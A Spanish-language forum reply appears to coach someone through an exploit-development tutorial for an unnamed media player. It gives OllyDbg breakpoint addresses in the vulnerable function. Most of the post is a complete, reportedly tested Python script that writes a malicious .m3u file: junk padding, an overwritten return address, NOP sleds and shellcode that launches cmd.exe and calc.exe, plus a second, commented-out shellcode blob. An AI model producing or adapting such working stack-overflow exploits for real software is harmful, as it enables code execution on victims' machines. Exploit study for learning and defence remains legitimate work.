OK, me bajé el programa y lo estuve mirando. Aparte, bajé el video y también lo miré.
Aunque no tengo el tutorial que estás siguiendo, te puedo dar la siguiente info:
La función vulnerable es la que comienza en 41E2B0. Usa Olly y ponle un BP ahí. Cuando pare, vas poder ver la dirección de retorno de la función en el stack. Esa es la dirección que se va a pisar.
Ahora, si pones un BP al final de la función (en 41E9EC) vas a ver el valor al cual está intentando retornar y así vas a poder ver porqué se está rompiendo tu exploit.
Ahora, hice pruebas en XP SP3 EN y el siguiente exploit anda bien (en python):
import os
import struct
def main():
file1 = "exploit.m3u"
junk = "\x41" * 26099
eip= struct.pack('<L', 0x01cef23a)
shellcode = "\x90" * 25
shellcode += "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x13\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x63\x61\x6c\x63\x2e\x65\x78\x65"
#shellcode += "\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66\xf3\x07"
shellcode += "\x90" * 25
f = open(file1, "wb")
f.write(junk + eip + shellcode)
f.close()
print("exploit created successfully");
if __name__ == '__main__':
main()
Fíjate que hay algunos cambios en los valores originales (en junk). El shellcode que estás usando está comentado porque no me funciona en este SO, pero he agregado uno que debería funcionar bien.
Saludos!